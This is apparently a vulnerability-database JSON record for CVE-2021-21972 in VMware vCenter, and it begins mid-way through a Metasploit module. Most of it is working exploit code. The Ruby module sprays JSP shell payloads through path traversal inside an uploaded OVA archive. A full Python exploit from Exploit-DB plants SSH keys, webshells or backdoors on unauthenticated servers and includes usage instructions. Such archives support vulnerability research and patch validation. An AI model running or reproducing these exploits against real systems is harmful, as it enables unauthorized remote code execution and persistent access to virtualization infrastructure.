[REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], \n'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint'] \n} \n) \n) \n \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [true, 'Base path', '/']) \n]) \n \nregister_advanced_options([ \n# /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index> \nOptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me \nOptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu \n]) \nend \n \ndef spray_and_pray_min \ndatastore['SprayAndPrayMin'] \nend \n \ndef spray_and_pray_max \ndatastore['SprayAndPrayMax'] \nend \n \ndef spray_and_pray_range \n(spray_and_pray_min..spray_and_pray_max).to_a \nend \n \ndef check \n# Run auxiliary/scanner/vmware/esx_fingerprint \nsuper \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus') \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \n \ncase res.code \nwhen 200 \n# {\"States\":\"[]\",\"Install Progress\":\"UNKNOWN\",\"Config Progress\":\"UNKNOWN\",\"Config Final Progress\":\"UNKNOWN\",\"Install Final Progress\":\"UNKNOWN\"} \nexpected_keys = [ \n'States', \n'Install Progress', \n'Install Final Progress', \n'Config Progress', \n'Config Final Progress' \n] \n \nif (expected_keys & res.get_json_document.keys) == expected_keys \nreturn CheckCode::Vulnerable('Unauthenticated endpoint access granted.') \nend \n \nCheckCode::Detected('Target did not respond with expected keys.') \nwhen 401 \nCheckCode::Safe('Unauthenticated endpoint access denied.') \nelse \nCheckCode::Detected(\"Target responded with code #{res.code}.\") \nend \nend \n \ndef exploit \nupload_ova \npop_thy_shell # ;) \nend \n \ndef upload_ova \nprint_status(\"Uploading OVA file: #{ova_filename}\") \n \nmultipart_form = Rex::MIME::Message.new \nmultipart_form.add_part( \ngenerate_ova, \n'application/x-tar', # OVA is tar \n'binary', \n%(form-data; name=\"uploadFile\"; filename=\"#{ova_filename}\") \n) \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'), \n'ctype' => \"multipart/form-data; boundary=#{multipart_form.bound}\", \n'data' => multipart_form.to_s \n) \n \nunless res && res.code == 200 && res.body == 'SUCCESS' \nfail_with(Failure::NotVulnerable, 'Failed to upload OVA file') \nend \n \nregister_files_for_cleanup(*jsp_paths) \n \nprint_good('Successfully uploaded OVA file') \nend \n \ndef pop_thy_shell \njsp_uri = \ncase target['Platform'] \nwhen 'linux' \nnormalize_uri(target_uri.path, \"/ui/resources/#{jsp_filename}\") \nwhen 'win' \nnormalize_uri(target_uri.path, \"/statsreport/#{jsp_filename}\") \nend \n \nprint_status(\"Requesting JSP payload: #{full_uri(jsp_uri)}\") \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => jsp_uri \n) \n \nunless res && res.code == 200 \nfail_with(Failure::PayloadFailed, 'Failed to request JSP payload') \nend \n \nprint_good('Successfully requested JSP payload') \nend \n \ndef generate_ova \nova_file = StringIO.new \n \n# HACK: Spray JSP in the OVA and pray we get a shell... \nRex::Tar::Writer.new(ova_file) do |tar| \njsp_paths.each do |path| \n# /tmp/unicorn_ova_dir/../../<path> \ntar.add_file(\"../..#{path}\", 0o644) { |jsp| jsp.write(payload.encoded) } \nend \nend \n \nova_file.string \nend \n \ndef jsp_paths \ncase target['Platform'] \nwhen 'linux' \n@jsp_paths ||= spray_and_pray_range.shuffle.map do |idx| \n\"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}\" \nend \nwhen 'win' \n# Forward slashes work here \n[\"/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}\"] \nend \nend \n \ndef ova_filename \n@ova_filename ||= \"#{rand_text_alphanumeric(8..42)}.ova\" \nend \n \ndef jsp_filename \n@jsp_filename ||= \"#{rand_text_alphanumeric(8..42)}.jsp\" \nend \n \nend \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/161695/vmware_vcenter_uploadova_rce.rb.txt"}], "exploitdb": [{"lastseen": "2021-03-01T10:39:58", "description": "", "published": "2021-03-01T00:00:00", "type": "exploitdb", "title": "VMware vCenter Server 7.0 - Unauthenticated File Upload", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-03-01T00:00:00", "id": "EDB-ID:49602", "href": "https://www.exploit-db.com/exploits/49602", "sourceData": "# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload\r\n# Date: 2021-02-27\r\n# Exploit Author: Photubias\r\n# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html\r\n# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)\r\n# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds\r\n# CVE: CVE-2021-21972\r\n\r\n#!/usr/bin/env python3\r\n'''\r\n Copyright 2021 Photubias(c) \r\n This program is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n \r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n \r\n You should have received a copy of the GNU General Public License\r\n along with this program. If not, see <http://www.gnu.org/licenses/>.\r\n \r\n File name CVE-2021-21972.py\r\n written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be\r\n\r\n CVE-2021-21972 is an unauthenticated file upload and overwrite,\r\n exploitation can be done via SSH public key upload or a webshell\r\n The webshell must be of type JSP, and its success depends heavily on the specific vCenter version\r\n \r\n # Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister\r\n # A white page means vulnerable\r\n # A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet)\r\n # Notes:\r\n # * On Linux SSH key upload is always best, when SSH access is possible & enabled\r\n # * On Linux the upload is done as user vsphere-ui:users\r\n # * On Windows the upload is done as system user\r\n # * vCenter 6.5 <=7515524 does not contain the vulnerable component \"vropspluginui\"\r\n # * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload\r\n \r\n This is a native implementation without requirements, written in Python 3.\r\n Works equally well on Windows as Linux (as MacOS, probably ;-)\r\n \r\n Features: vulnerability checker + exploit\r\n'''\r\n\r\nimport os, tarfile, sys, optparse, requests\r\nrequests.packages.urllib3.disable_warnings()\r\n\r\nlProxy = {}\r\nSM_TEMPLATE = b'''<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n <env:Body>\r\n <RetrieveServiceContent xmlns=\"urn:vim25\">\r\n <_this type=\"ServiceInstance\">ServiceInstance</_this>\r\n </RetrieveServiceContent>\r\n </env:Body>\r\n </env:Envelope>'''\r\nsURL = sFile = sRpath = sType = None\r\n\r\ndef parseArguments(options):\r\n global sURL, sFile, sType, sRpath, lProxy\r\n if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.')\r\n sURL = options.url\r\n if sURL[-1:] == '/': sURL = sURL[:-1]\r\n if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL\r\n sFile = options.file\r\n if not os.path.exists(sFile): exit('[-] File not found: ' + sFile)\r\n sType = 'ssh'\r\n if options.type: sType = options.type\r\n if options.rpath: sRpath = options.rpath\r\n else: sRpath = None\r\n if options.proxy: lProxy = {'https': options.proxy}\r\n\r\ndef getVersion(sURL):\r\n def getValue(sResponse, sTag = 'vendor'):\r\n try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0]\r\n except: pass\r\n return ''\r\n oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE)\r\n #print(oResponse.text)\r\n if oResponse.status_code == 200:\r\n sResult = oResponse.text\r\n if not 'VMware' in getValue(sResult, 'vendor'):\r\n exit('[-] Not a VMware system: ' + sURL)\r\n else:\r\n sName = getValue(sResult, 'name')\r\n sVersion = getValue(sResult, 'version') # e.g. 7.0.0\r\n sBuild = getValue(sResult, 'build') # e.g. 15934073\r\n sFull = getValue(sResult, 'fullName')\r\n print('[+] Identified: ' + sFull)\r\n return sVersion, sBuild\r\n exit('[-] Not a VMware system: ' + sURL)\r\n\r\ndef verify(sURL):\r\n #return True\r\n sURL += '/ui/vropspluginui/rest/services/uploadova'\r\n try:\r\n oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5)\r\n except:\r\n exit('[-] System not available: ' + sURL)\r\n if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely\r\n else: return False\r\n\r\ndef createTarLin(sFile, sType, sVersion, sBuild, sRpath = None):\r\n def getResourcePath():\r\n oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5)\r\n return oResponse.text.split('static/')[1].split('/')[0]\r\n oTar = tarfile.open('payloadLin.tar','w')\r\n if sRpath: ## version & build not important\r\n if sRpath[0] == '/': sRpath = sRpath[1:]\r\n sPayloadPath = '../../' + sRpath\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n return 'absolute'\r\n elif sType.lower() == 'ssh': ## version & build not important\r\n sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys'\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n return 'ssh'\r\n elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631):\r\n ## vCenter 6.5/6.7 < 13010631, just this location with a subnumber\r\n sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile)\r\n print('[!] Selected uploadpath: ' + sPayloadPath[5:])\r\n for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i)\r\n oTar.close()\r\n return 'webshell'\r\n elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631):\r\n ## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile>\r\n sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile)\r\n print('[!] Selected uploadpath: ' + sPayloadPath[5:])\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n return 'backdoor'\r\n else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0):\r\n ## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>)\r\n sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile)\r\n print('[!] Selected uploadpath: ' + sPayloadPath[5:])\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n return 'backdoor'\r\n \r\n\r\ndef createTarWin(sFile, sRpath = None):\r\n ## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows\r\n if sRpath:\r\n if sRpath[0] == '/': sRpath = sRpath[:1]\r\n sPayloadPath = '../../' + sRpath\r\n else:\r\n sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile)\r\n oTar = tarfile.open('payloadWin.tar','w')\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n\r\ndef uploadFile(sURL, sUploadType, sFile):\r\n #print('[!] Uploading ' + sFile)\r\n sFile = os.path.basename(sFile)\r\n sUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova'\r\n arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')}\r\n ## Linux\r\n oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy)\r\n if oResponse.status_code == 200:\r\n if oResponse.text == 'SUCCESS':\r\n print('[+] Linux payload uploaded succesfully.')\r\n if sUploadType == 'ssh':\r\n print('[+] SSH key installed for user \\'vsphere-ui\\'.')\r\n print(' Please run \\'ssh vsphere-ui@' + sURL.replace('https://','') + '\\'')\r\n return True\r\n elif sUploadType == 'webshell':\r\n sWebshell = sURL + '/ui/resources/' + sFile\r\n #print('testing ' + sWebshell)\r\n oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)\r\n if oResponse.status_code != 404:\r\n print('[+] Webshell verified, please visit: ' + sWebshell)\r\n return True\r\n elif sUploadType == 'backdoor':\r\n sWebshell = sURL + '/ui/resources/' + sFile\r\n print('[+] Backdoor ready, please reboot or wait for a reboot')\r\n print(' then open: ' + sWebshell)\r\n else: ## absolute\r\n pass\r\n ## Windows\r\n arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')}\r\n oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy)\r\n if oResponse.status_code == 200:\r\n if oResponse.text == 'SUCCESS':\r\n print('[+] Windows payload uploaded succesfully.')\r\n if sUploadType == 'backdoor':\r\n print('[+] Absolute upload looks OK')\r\n return True\r\n else:\r\n sWebshell = sURL + '/statsreport/' + sFile\r\n oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)\r\n if oResponse.status_code != 404:\r\n print('[+] Webshell verified, please visit: ' + sWebshell)\r\n return True\r\n return False\r\n\r\nif __name__ == \"__main__\":\r\n usage = (\r\n 'Usage: %prog [option]\\n'\r\n 'Exploiting Windows & Linux vCenter Server\\n'\r\n 'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \\'\\'\\n'\r\n 'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\\n'\r\n 'Note2: Windows is the most vulnerable, but less mostly deprecated anyway')\r\n\r\n parser = optparse.OptionParser(usage=usage)\r\n parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1')\r\n parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell')\r\n parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh')\r\n parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile')\r\n parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080')\r\n \r\n (options, args) = parser.parse_args()\r\n \r\n parseArguments(options)\r\n \r\n ## Verify\r\n if verify(sURL): print('[+] Target vulnerable: ' + sURL)\r\n else: exit('[-] Target not vulnerable: ' + sURL)\r\n \r\n ## Read out the version\r\n sVersion, sBuild = getVersion(sURL)\r\n if sRpath: print('[!] Ready to upload your file to ' + sRpath)\r\n elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \\'' + sFile + '\\'')\r\n else: print('[!] Ready to upload webshell \\'' + sFile + '\\'')\r\n sAns = input('[?] Want to exploit? [y/N]: ')\r\n if not sAns or not sAns[0].lower() == 'y': exit()\r\n \r\n ## Create TAR file\r\n sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath)\r\n if not sUploadType == 'ssh': createTarWin(sFile, sRpath)\r\n\r\n ## Upload and verify\r\n uploadFile(sURL, sUploadType, sFile)\r\n \r\n ## Cleanup\r\n os.remove('payloadLin.tar')\r\n os.remove('payloadWin.tar')", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/49602"}]}